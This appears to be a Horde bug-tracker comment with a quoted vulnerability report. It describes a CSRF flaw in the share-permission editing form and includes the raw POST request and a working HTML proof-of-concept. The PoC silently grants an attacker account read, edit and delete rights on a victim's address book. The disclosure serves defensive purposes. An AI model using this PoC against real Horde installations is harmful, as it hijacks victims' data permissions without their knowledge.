Tickets :: Comment on [#12804] CSRF in changing permissions functionality

* Your Email Address
* Spam protection	Enter the letters below: .__ __ .___. __ __. [ __/ ` \| / `(__ [_./\__. \| \__..__)
Comment	> I found another one, a CSRF while a change of permissions is > requested. It was found that this form misses a unique token > > Request: > POST /horde/services/shares/edit.php HTTP/1.1 > Host: victim.com > User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 > Firefox/14.0.1 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 > Accept-Language: en-us,en;q=0.5 > Accept-Encoding: gzip, deflate > Connection: keep-alive > Cookie: session=a0db6c30e697fe3da03f9f437a63bb3f > Content-Type: application/x-www-form-urlencoded > Content-Length: 252 > > actionID=editform&cid=37&app=turba&owner_input=kenedyK&u_names%5B%7C%7Cnew_input%5D=AttackerUserName&u_read%5B%7C%7Cnew_input%5D=on&u_edit%5B%7C%7Cnew_input%5D=on&u_delete%5B%7C%7Cnew_input%5D=on&g_names%5B%7C%7Cnew%5D=&save_and_finish=Save+and+Finish > > > PoC > > <html> > > <body> > <!--a75c305b1c0a6022--><form > action="www.victim.com/horde/services/shares/edit.php" > method="POST"> > <input type="hidden" name="actionID" value="editform" /> > <input type="hidden" name="cid" value="37" /> > <input type="hidden" name="app" value="turba" /> > <input type="hidden" name="owner_input" value="kenedyK" /> > <input type="hidden" > name="u_names[\|\|new_input]" > value="AttackerUserName" /> > <input type="hidden" > name="u_read[\|\|new_input]" value="on" /> > <input type="hidden" > name="u_edit[\|\|new_input]" value="on" /> > <input type="hidden" > name="u_delete[\|\|new_input]" value="on" /> > <input type="hidden" name="g_names[\|\|new]" > value="" /> > <input type="hidden" name="save_and_finish" > value="Save and Finish" /> > <input type="submit" value="Submit request" /> > </form> > </body> > </html> > > > Conditions: The attacker must know the owner value which is the > victim's username, and the ID of the address book. Once he gets them, > he can launch the attack. >
Attachment
Watch this ticket

Saved Queries